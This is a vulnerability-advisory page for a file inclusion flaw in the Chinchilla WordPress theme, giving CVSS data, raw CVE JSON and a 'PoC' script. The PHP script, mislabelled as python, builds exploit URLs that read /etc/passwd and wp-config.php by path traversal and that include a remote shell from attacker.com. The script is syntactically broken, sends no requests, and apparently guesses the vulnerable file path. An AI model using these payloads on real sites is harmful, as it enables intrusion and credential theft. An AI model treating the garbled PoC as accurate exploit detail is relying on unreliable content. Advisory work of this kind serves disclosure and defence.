Security Vulnerability Report
中文
CVE-2025-60042 CVSS 8.1 HIGH

CVE-2025-60042

Published: 2025-12-18 08:16:04
Last Modified: 2026-04-27 16:16:29

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Chinchilla chinchilla allows PHP Local File Inclusion.This issue affects Chinchilla: from n/a through <= 1.16.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AncoraThemes Chinchilla <= 1.16 (所有版本受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-60042 PoC - Chinchilla Theme Local File Inclusion * Affected: AncoraThemes Chinchilla WordPress Theme <= 1.16 * CVSS: 8.1 (High) * * Usage: Modify TARGET_URL and run with PHP CLI * Example: php cve-2025-60042-poc.php */ $targetUrl = 'http://target-site.com/wp-content/themes/chinchilla/'; $targetFile = 'includes/template-tags.php'; // Common vulnerable file // LFI Payload - Read /etc/passwd effectiveUrl = $targetUrl . $targetFile . '?file=/etc/passwd'; echo "[*] Testing LFI with /etc/passwd:\n"; echo "[*] URL: " . $effectiveUrl . "\n\n"; // LFI Payload - Read wp-config.php effectiveUrl2 = $targetUrl . $targetFile . '?file=../../../../wp-config.php'; echo "[*] Testing LFI with wp-config.php:\n"; echo "[*] URL: " . $effectiveUrl2 . "\n\n"; // RFI Payload - Include remote PHP shell effectiveUrl3 = $targetUrl . $targetFile . '?file=http://attacker.com/shell.txt'; echo "[*] Testing RFI with remote shell:\n"; echo "[*] URL: " . $effectiveUrl3 . "\n\n"; echo "[!] Note: This PoC is for educational and authorized testing purposes only.\n"; echo "[!] Exploitation without authorization is illegal.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60042", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:03.550", "lastModified": "2026-04-27T16:16:29.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Chinchilla chinchilla allows PHP Local File Inclusion.This issue affects Chinchilla: from n/a through <= 1.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/chinchilla/vulnerability/wordpress-chinchilla-theme-1-16-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}